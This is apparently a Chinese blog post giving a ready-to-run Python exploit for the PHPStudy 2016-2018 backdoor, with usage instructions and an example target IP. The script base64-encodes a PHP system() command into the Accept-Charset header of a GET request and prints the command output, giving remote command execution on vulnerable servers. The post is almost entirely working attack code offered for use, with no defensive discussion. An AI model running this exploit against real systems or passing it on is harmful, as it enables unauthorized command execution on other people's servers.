phpstudy_2016-2018_rce

phpstudy_2016-2018_rce

代码

import base64
import requests
import sys

banner="""
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - Order
Usage: python *.py http://10.9.47.154/phpinfo.php whoami

"""
# 错误时的提示信息


def attack(url,cmd):           # 攻击函数体
    cmd=f"system('{cmd}');"
    # 将命令包装system()
    cmd=base64.b64encode(cmd.encode()).decode()
    # 将命令二进制编码解码以及base64编码
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "Accept-Encoding" : "gzip,deflate",
        "Accept-Charset"  : f"{cmd}"
    }
    # 请求头信息
    res=requests.get(url=url,headers=headers)
    html=res.content.decode("GBK")
    # 使用GBK解码
    num=html.find("<!DOCTYPE html")
    # 截取命令回显部分
    result=html[:num].strip()
    return result
try:
    url=sys.argv[1]
    cmd=sys.argv[2]
    # 获取两个变量值
    attack(url,cmd)
except:
    print(banner)
    # 错误时输出banner
else:
    print(attack(url,cmd))

使用方法

python 文件名.py 目标页面url 执行的命令
例如
python attack.py http://10.9.47.154/phpinfo.php whoami

正确执行时

image-20231103115249856

错误执行时

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值